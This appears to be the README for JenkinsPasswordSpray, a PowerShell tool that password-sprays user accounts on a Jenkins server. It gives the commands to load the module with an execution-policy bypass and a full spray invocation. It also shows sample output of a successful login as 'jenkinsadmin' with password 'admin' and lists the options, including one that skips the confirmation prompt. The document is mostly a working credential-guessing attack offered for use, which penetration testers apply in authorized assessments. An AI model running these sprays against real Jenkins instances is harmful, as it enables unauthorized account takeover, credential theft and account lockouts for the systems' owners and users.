JenkinsPasswordSpray is a tool witten in PowerShell to perform password spraying attacks against users of a Jenkins instance. Be careful not to lock out accounts!
Open a PowerShell terminal from the Windows command line with powershell.exe -exec bypass and import the module with Import-Module JenkinsPasswordSpray.ps1.
The mandatory parameters are -URL, -Username/-UsernameFile and -Password/-PasswordFile.
The following command will spray against a list of users and attempt to authenticate using each username and a password from the specified list. If a valid login is found, the script will stop unless -ContinueOnSuccess is set to $True. A confirmation will be prompted unless the -Force parameter is set. The results of the spray will be output to a file called sprayed-jenkins.txt
The script will also try to help you clean up your URL if it's invalid or contains trailing elements like /login, as this will make the URL invalid for password spraying. But because your target Jenkins instance might be located in a subdirectory, this feature asks for confirmation before trimming the URL.
Type Get-Help Invoke-JenkinsPasswordSpra to see the different options.
Invoke-JenkinsPasswordSpray -URL http://jenkins:8080 -UsernameFile .\users.txt -PasswordFile .\pws.txt -ContinueOnSuccesss $true -Force -Outfile .\sprayed-jenkins.txtPS C:\Windows\temp> Invoke-JenkinsPasswordSpray -URL http://10.0.0.7:8080/login/notvalid -Username jenkinsadmin -Password admin -ContinueOnSuccesss $true -Force -OutFile jenkins-sprayed.txt
[-] Detected trailing elements /login/notvalid in provided URL http://10.0.0.7:8080/login/notvalid.
[-] Will now try to remove it for you.
Do you want to use the URL http://10.0.0.7:8080 instead?
[Y] Yes [N] No [?] Help (default is "Y"):
[+] Replacing URL: http://10.0.0.7:8080/login/notvalid
[+] Will use this URL: http://10.0.0.7:8080
[+] Testing if URL is valid
[+] Provided URL: http://10.0.0.7:8080 returns 200 OK.
[+] Start password spraying the URL http://10.0.0.7:8080 with 1 user(s) and 1 password(s). Total request count is 1. Current time is 15:21
[+] Writing successful logins to jenkins-sprayed.txt
[Attempt 1 / 1] - Spraying username:jenkinsadmin with password:admin
[+] SUCCESS! Username:jenkinsadmin Password:admin
[+] Password spraying is complete
[*] Any passwords that were successfully sprayed have been written to jenkins-sprayed.txt-UsernameList - A list of usernames to spray
-Username - A single username to spray.
-Password - A single password to spray for each specified username.
-PasswordList - A list of passwords, one per line, to use for the password spray.
-ContinueOnSuccess - Continue spraying, even if a valid account is found.
-Force - Forces the spray to continue without prompting for confirmation.
-OutFile - A file to output the results to.
Please feel free to file issues or pull requests. You can also write to me on Twitter @chryzsh